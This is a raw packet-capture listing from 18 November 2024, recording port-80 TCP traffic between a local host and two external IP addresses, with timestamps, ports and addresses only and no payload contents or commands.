Nov 18, 2024 19:04:23.600186110 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.600229025 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.600229025 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.600233078 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.600292921 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.600543976 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.600558043 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.600594997 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.600600958 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.600657940 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.600657940 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.600924969 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.600976944 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.601035118 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.601035118 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.601073980 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.601108074 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.601147890 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.601147890 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.601182938 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.601216078 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.601239920 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.601250887 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.601290941 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.601313114 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.609857082 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.609891891 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.609926939 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.610038996 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.610071898 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.610078096 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.610106945 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.610141993 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.610153913 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.610203981 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.610203981 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.610433102 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.610491037 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.645822048 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.645857096 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.645910025 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.645917892 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.645941973 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.645944118 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.645960093 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.645978928 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.645998001 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.646014929 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.646047115 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.646050930 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.646060944 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.646121025 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.646166086 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.646194935 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.646234989 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.646244049 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.646254063 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.646274090 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.646310091 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.646310091 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.646342039 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.646374941 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.646406889 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.646416903 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.646416903 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.646470070 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.697246075 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.697282076 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.697314978 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.697350025 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.697350025 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.697376013 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.719162941 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:23.719213963 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:23.719254971 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:23.719264984 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:23.719952106 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.719986916 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.720055103 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.720055103 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.720088005 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.720105886 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.720105886 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.720122099 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.720155001 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.720165968 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.720187902 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.720199108 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.720235109 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.720243931 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.720257998 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.720278978 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.720375061 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.720408916 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.720423937 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.720443010 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.720479012 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.720478058 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.720513105 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.720520020 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.720552921 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.720566988 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.720628023 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.720698118 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.720731974 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.720741034 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.720741034 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.720814943 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.720834970 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.720901966 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.720911980 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.720968962 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.721005917 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.721038103 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.721077919 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.721077919 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.721162081 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.721195936 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.721237898 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.721237898 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.721246958 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.721278906 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.721313000 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.721314907 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.721338034 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.721344948 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.721378088 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.721379042 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.721400976 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.721431017 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.721519947 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.721554041 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.721573114 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.721586943 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.721601009 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.721647978 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.730061054 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.730097055 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.730134964 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.730142117 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.730150938 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.730158091 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.730184078 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.730205059 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.730205059 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.730218887 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.730241060 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.730271101 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.730381966 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.730422974 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.730456114 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.730459929 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.730474949 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.730489969 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.730523109 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.730526924 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.730526924 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.730590105 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.763514996 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:23.763570070 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:23.763600111 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:23.763611078 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:23.763663054 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:23.765902996 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.765933990 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.765995979 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.766000032 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.766000032 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.766033888 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.766043901 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.766083002 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.766108036 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.766119003 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.766170979 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.766181946 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.766191006 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.766247034 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.766247988 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.766278028 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.766323090 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.766323090 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.766345978 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.766396999 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.766448975 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.766448975 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.766457081 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.766491890 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.766530037 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.766530037 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.766545057 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.766580105 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.766614914 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.766649008 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.766649008 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.766684055 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.817953110 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.817989111 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.818021059 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.818022966 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.818054914 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.818088055 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.885804892 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.885859013 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.885885954 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.885894060 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.885927916 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.885951996 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.885952950 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.885962963 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.886003017 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.886038065 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.886038065 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.886038065 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.886038065 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.886073112 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.886075974 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.886109114 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.886137009 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.886178017 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.886209965 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.886241913 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.886276960 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.886300087 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.886300087 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.886370897 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.886389017 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.886404991 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.886437893 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.886445045 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.886445045 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.886471033 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.886507988 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.886507988 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.886666059 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.886698961 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.886732101 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.886740923 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.886740923 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.886765957 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.886778116 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.886800051 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.886832952 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.886862993 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.886863947 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.886866093 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.886878967 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.886898994 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.886930943 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.887016058 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.887146950 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.887198925 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.887204885 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.887232065 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.887240887 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.887348890 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.887371063 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.887404919 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.887439966 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.887447119 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.887447119 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.887522936 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.887559891 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.887574911 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.887604952 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.887608051 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.887639999 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.887653112 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.887653112 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.887674093 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.887708902 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.887717962 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.887717962 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.887769938 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.887840033 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:23.887871981 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:23.887906075 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:23.887923956 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:23.888211966 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.888269901 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.888273954 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.888304949 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.888329029 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.888346910 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.892868042 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.892903090 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.892935991 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.892940044 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.892968893 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.892982006 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.893022060 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.893033981 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.893049955 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.893058062 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.893093109 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.893109083 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.893109083 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.893143892 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.893167019 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.893178940 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.893213034 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.893224955 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.893224955 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.893245935 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.893265963 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.893281937 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.893311977 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.893318892 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:23.893352032 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:23.893357992 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.893379927 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:23.893384933 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:23.893428087 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:23.938453913 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.938479900 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.938497066 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.938623905 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.938667059 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.963960886 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:23.963982105 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:23.964106083 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:23.964828968 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:23.965293884 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:23.965339899 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:24.000216961 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.000236034 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.000262976 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.000279903 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.000298977 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.000351906 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.000360012 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.000369072 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.000411987 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.000428915 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.000526905 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.000538111 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.000538111 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.000538111 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.000538111 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.000538111 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.000546932 CET	80	49980	185.215.113.16	192.168.2.5
